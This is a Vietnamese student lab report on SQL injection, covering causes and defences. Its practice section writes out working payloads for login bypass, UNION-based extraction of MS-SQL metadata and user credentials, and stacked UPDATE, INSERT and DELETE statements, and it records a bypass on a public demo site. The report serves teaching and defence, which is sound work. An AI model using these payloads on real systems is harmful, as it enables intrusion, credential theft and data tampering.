Tải bản đầy đủ (.docx) (22 trang)

Thực hành tấn công chèn mã SQL

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (2.82 MB, 22 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA VIỄN THƠNG

Thực hành : Tấn công chèn mã SQL

Giảng viên

: Đinh trường duy

Mơn học

: An tồn và Bảo mật hệ thống thơng tin

Sinh viên

: Trần Ngọc Lợi

Mã SV

: B19DCCN404

Hà Nội


Mục lục
A_Lý thuyết
1_Lỗi chèn mã SQL trong các ứng dụng web và nguyên nhân
2_Các kĩ thuật tấn công chèn mã SQL trong ứng dụng web
3_Các biện pháp khắc phục
B_Nội dung thực hành
1_Vượt qua khâu xác thực người dùng


2_Trích xuất dữ liệu từ CSDL
3_Thêm sửa xóa
4_Khảo sát một số trang web
C_Kết luận sau bài thực hành

Mục đích: Thực hiện và hiểu được tấn công chèn mã SQL


A.

Ôn lý thuyết:
1. Lỗi chèn mã SQL trong các ứng dụng web và nguyên nhân:
- Tấn công chèn mã SQL (SQL Injection) là một kỹ thuật cho phép kẻ
tấn công chèn mã SQL vào dữ liệu gửi đến máy chủ và cuối cùng
được thực hiện trên máy chủ cơ sở dữ liệu. Tùy vào mức độ tinh vi,
tấn công chèn mã SQL có thể cho phép kẻ tấn cơng (1) vượt qua các
khâu xác thực người dùng, (2) chèn, sửa đổi, hoặc xóa dữ liệu, (3)
đánh cắp các thơng tin trong cơ sở dữ liệu và (4) chiếm quyền điều
khiển hệ thống máy chủ cơ sở dữ liệu. Tấn công chèn mã SQL là dạng
tấn công thường gặp ở các ứng dụng web, các trang web có kết nối
đến cơ sở dữ liệu.
- Có 2 nguyên nhân của lỗ hổng trong ứng dụng nói chung và ứng dụng
web nói riêng cho phép thực hiện tấn công chèn mã SQL:
o Dữ liệu đầu vào từ người dùng hoặc từ các nguồn khác không
được kiểm tra hoặc kiểm tra không kỹ lưỡng;
o Sử dụng các câu lệnh SQL động trong ứng dụng, trong đó có
thao tác nối dữ liệu người dùng với mã lệnh SQL gốc.
2. Các ký thuật tấn công chèn mã SQL trong ứng dụng web(vượt qua
khâu xác thực, đánh cắp dữ liệu, chèn, sửa, xóa dữ liệu, kiểm sốt hệ
thống):

- Vượt qua khâu xác thực: Tại phần đăng nhập hệ thống người dùng sẽ
nhập aaaa' OR 1=1-- vào trường username và một chuỗi bất kỳ, chẳng
hạn 'aaaa' vào trường password của form, mã xử lý hoạt động sai và
chuỗi chứa câu truy vấn SQL trở thành:
40 SELECT * FROM tbl_accounts WHERE username='aaaa' OR
1=1--' AND password='aaaa'
Khi này do trong câu lệnh WHERE tồn tại 1=1 luôn đúng và sau “–"
được coi là ghi chú nên câu lệnh luôn đúng. Nếu có ít nhất một bản
ghi trong bảng thì kẻ tấn công sẽ đăng nhâp thành công vào hệ thống.
- Chèn, sửa đổi, hoặc xóa dữ liệu: Bằng cách sử dụng dấu ; có tác dụng
thực hiện nhiều câu lệnh trong SQL và - - để hủy các phần còn lại. Kẻ
tấn công sẽ dễ dàng sử dụng các câu lệnh DELETE, UPDATE,
INSERT để tấn công vào hệ thống
- Đánh cắp các thơng tin trong cơ sở dữ liệu:
• Tìm lỗ hổng chèn mã SQL và thăm dị các thơng tin về hệ quản trị
cơ sở dữ liệu:


Nhập một số dữ liệu mẫu để kiểm tra một trang web có chứa
lỗ hổng chèn mã SQL, như các dấu nháy đơn, dấu --,…
o Tìm phiên bản máy chủ cơ sở dữ liệu: nhập các câu lệnh lỗi
và kiểm tra thông báo lỗi, hoặc sử dụng @@version (với
MS-SQL Server), hoặc version() (với MySQL) trong câu
lệnh ghép với UNION SELECT.
• Tìm thơng tin về số lượng và kiểu dữ liệu các trường của câu truy
vấn hiện tại của trang web.
o Sử dụng mệnh đề ORDER BY
o Sử dụng UNION SELECT 1, 2, 3, …
• Trích xuất thơng tin về các bảng, các trường của cơ sở dữ liệu
thông qua các bảng hệ thống (metadata).

• Sử dụng lệnh UNION SELECT để ghép các thơng tin định trích
xuất vào câu truy vấn hiện tại của ứng dụng
- Chiếm quyền điều khiển hệ thống máy chủ cơ sở dữ liệu: Khả năng
máy chủ cơ sở dữ liệu bị chiếm quyền điều khiển xảy ra khi trang web
tồn tại đồng thời 2 lỗ hổng: (1) lỗ hổng cho phép tấn công chèn mã
SQL và (2) lỗ hổng thiết lập quyền truy nhập cơ sở dữ liệu. e. Khai
thác 2 lỗ hổng này, kẻ tấn cơng có thể gọi thực hiện các lệnh hệ thống
của máy chủ cơ sở dữ liệu cho phép can thiệp sâu vào cơ sở dữ liệu,
hệ quản trị cơ sở dữ liệu và cả hệ điều hành trên máy chủ. Chẳng hạn,
hệ quản trị cơ sở dữ liệu MS-SQL Server cung cấp thủ tục
sp_send_dbmail cho phép gửi email từ máy chủ cơ sở dữ liệu và thủ
tục xp_cmdshell cho phép chạy các lệnh và chương trình cài đặt trên
hệ điều hành Microsoft Windows.
Các biện pháp khắc phục (kiểm tra dữ liệu kích thước, định dạng dữ
liệu, tạo các bộ lọc, sử dụng stored procs,...).
• Các biện pháp phịng chống dựa trên kiểm tra và lọc dữ liệu đầu vào:

Kiểm tra tất cả các dữ liệu đầu vào, đặc biệt dữ liệu nhập từ
người dùng và từ các nguồn không tin cậy;

Kiểm tra kích thước và định dạng dữ liệu đầu vào;

Tạo các bộ lọc để lọc bỏ các ký tự đặc biệt (như *, ‘, =, --) và
các từ khóa của ngôn ngữ SQL (SELECT, INSERT, UPDATE,
DELETE, DROP,....) mà kẻ tấn cơng có thể sử dụng;
• Sử dụng thủ tục cơ sở dữ liệu (stored procedures) và cơ chế tham số
hóa dữ liệu:
• Đưa tất cả các câu truy vấn (SELECT) và cập nhật, sửa, xóa dữ
liệu (INSERT, UPDATE, DELETE) vào các thủ tục. Dữ liệu truyền
o


3.


B.
-

vào thủ tục thông qua các tham số, giúp tách dữ liệu khỏi mã lệnh
SQL, nhờ đó hạn ngăn chặn hiệu quả tấn cơng chèn mã SQL;
• Hạn chế thực hiện các câu lệnh SQL động trong thủ tục;
• Sử dụng cơ chế tham số hóa dữ liệu hỗ trợ bởi nhiều ngơn ngữ lập
trình web như ASP.NET, PHP và JSP.
• Các biện pháp phịng chống dựa trên thiết lập quyền truy nhập người
dùng cơ sở dữ liệu:
• Khơng sử dụng người dùng có quyền quản trị hệ thống hoặc quản
trị cơ sở dữ liệu làm người dùng truy cập dữ liệu. Ví dụ: khơng
dùng người dùng sa (Microsoft SQL) hoặc root (MySQL) làm
người dùng truy cập dữ liệu. Chỉ dùng các người dùng này cho
mục đích quản trị.
• Chia nhóm người dùng, chỉ cấp quyền vừa đủ để truy cập các bảng
biểu, thực hiện câu truy vấn và chạy các thủ tục.
• Tốt nhất, khơng cấp quyền thực hiện các câu truy vấn, cập nhật,
sửa, xóa trực tiếp trên các bảng dữ liệu. Thủ tục hóa tất cả các câu
lệnh và chỉ cấp quyền thực hiện thủ tục.
• Cấm hoặc vơ hiệu hóa (disable) việc thực hiện các thủ tục hệ thống
(các thủ tục cơ sở dữ liệu có sẵn) cho phép can thiệp vào hệ quản
trị cơ sở dữ liệu và hệ điều hành nền.
- Sử dụng các công cụ rà quét lỗ hổng chèn mã SQL, như SQLMap,
hoặc Acunetix Vulnerability Scanner để chủ động rà quét, tìm các
lỗ hổng chèn mã SQL và có biện pháp khắc phục phù hợp.

Nội dung thực hành:
1. Vượt qua khâu xác thực người dùng
Nhập dữ liệu cho phép đăng nhập mà khơng cần có đủ username và
password:
• Đăng nhập tự do: Nhập: aaaa' or 1=1 -- => username và chuỗi bất kỳ
=> password. Kết quả đăng nhập thành công với tài khoản người dùng
đầu tiên trong danh sách.




Giải thích: Khi người dùng nhập ‘aaaa' or 1=1 --’ mã xử lý hoạt động sai và
chuỗi chứa câu truy vấn SQL trở thành:
SELECT TOP 1 * FROM tbl_users WHERE username = 'aaaa' or 1=1
-- ' AND password = 'a'
Do trong câu truy vấn có thành phần or 1=1 ln đúng và phần kiểm tra mật
khẩu đã bị loại bỏ do chứa -- .Do đó nếu trong bảng tnl_users chứa ít nhất
một bản ghi thì sẽ đăng nhập được thành cơng.


Đăng nhập vào tài khoản một người dùng chỉ định: nhập: david' -- =>
username và chuỗi bất kỳ => password. Kết quả đăng nhập thành
công với tài khoản người dùng david nếu tồn tại tài khoản với user
này. Thay tên người david bằng tên một người dùng khác, nếu tồn tại
sẽ đăng nhập thành cơng với người dùng đó.




Giải thích: Khi người dùng nhập ‘david' --’ mã xử lý hoạt động sai và

chuỗi chứa câu truy vấn SQL trở thành: SELECT TOP 1 * FROM
tbl_users WHERE username = 'david' -- ' AND password = 'd'
Do trong câu truy vấn có chứa (- -) nên câu lệnh phía sau sẽ không được
thực thi. Câu truy vấn sẽ xét nếu có ít nhất 1 bản ghi có username=’david’
thì sẽ chọn lấy người dùng đầu và đăng nhập thành công.


Khi thay david thành 123
2.
-

Trích xuất dữ liệu từ CSDL:

Tìm số trường trong câu truy vấn trang:


Sử dụng câu lệnh: sam%' order by <number>; --


<number> = 4 => Trang không hiểu thị kết quả => Số trường có trong câu
truy vấn là 3.
Sử dụng câu lệnh: sam%' union select <danh sách trường thử>; -sam%' union select '1','2','3'; --


<danh sách trường thử> = 1,2,3,4 => Trang báo lỗi => Số trường có trong câu
truy vấn là 3.





sam%' union select <danh sách trường thử>;-- : trong đó sách trường thử> có thể là 1, 2, 3,... hoặc '1', '2', '3',... Tăng dần số
trường cho đến khi trang không hiển thị kết quả hoặc báo lỗi thực
hiện. <danh sách trường thử> ở lần thử cuối cho kết quả đúng cho
biết số trường có trong câu truy vấn.

Có 0 trường
Hiển thị thông tin hệ quản trị CSDL và hệ điều hành:
ssss' union select '', @@version, 0 –







Trích xuất danh sách các bảng của CSDL:
ssss' union select '', name, 0 from sys.objects where type='u'; --




Trích xuất danh sách các trường của một bảng:
ssss' union select '', a.name, 0 from sys.columns a inner join sys.objects
b on a.object_id = b.object_id where b.name='tbl_users'; --




Thay tbl_users bằng bảng tbl_products



- Trích

xuất dữ liệu bảng:
• ssss' union select full_name, username+'--'+password, 0 from
tbl_users;--




Thay tbl_users bằng bảng tbl_products




Trích xuất 1 bản ghi gồm tất cả các trường từ bảng students có mã
sinh viên trùng với mã sv của mình và hiển thị tồn bộ thơng tin trích
xuất được lên màn hình.


Trần Ngọc Lợi B19DCCN404
(ssss' union select firstname+'--'+lastname, password+'--'+student_code, 0 from students where
student_code='B19DCCN404'; --)

(Lưu ý, nếu số trường của câu truy vấn mới nhiều hơn số trường trong
câu truy vấn gốc thì cần ghép các trường bằng phép nối xâu để số trường
trong UNION SELECT phải bằng số trường trong câu truy vấn gốc của
trang và kiểu dữ liệu mỗi trường trong UNION SELECT phải tương thích
với kiểu dữ liệu của trường tương ứng trong câu truy vấn gốc của trang.)

3. Thêm, sửa, xóa dữ liệu:
Thử thực hiện các lệnh thêm, sửa, xóa dữ liệu trên trang search_error.asp:
- samsung'; update tbl_users set password='test' where
username='david'; --


-

samsung'; insert into tbl_users (full_name, username, password)
values ('Tom Cruise','tom','abc123'); --

-

samsung'; delete from tbl_users where username = 'tom';--


-

4.

-

ssss’ union select ID, name, 0 from tbl_test; --

Khảo sát tối thiểu 1 trang web trên mạng có lỗi chèn mã SQL (khơng
sửa/xóa dữ liệu). Sinh viên có thể tìm các trang khác. Yêu cầu chụp
ảnh màn hình minh chứng lỗi chèn mã SQL.
Thử nghiệm trên trang : Altoro Mutual (testfire.net)
Đăng nhập tự do:
• Nhập tk: aaaa' or 1=1 –



Nhập mk: ngẫu nhiên
Kết quả


C.

Kết luận:


Những kiến thức đạt được sau khi thực hành:
- Vượt qua khâu xác thực người dùng.
- Trích xuất dữ liệu từ CSDL.
- Thêm, sửa, xóa dữ liệu.



×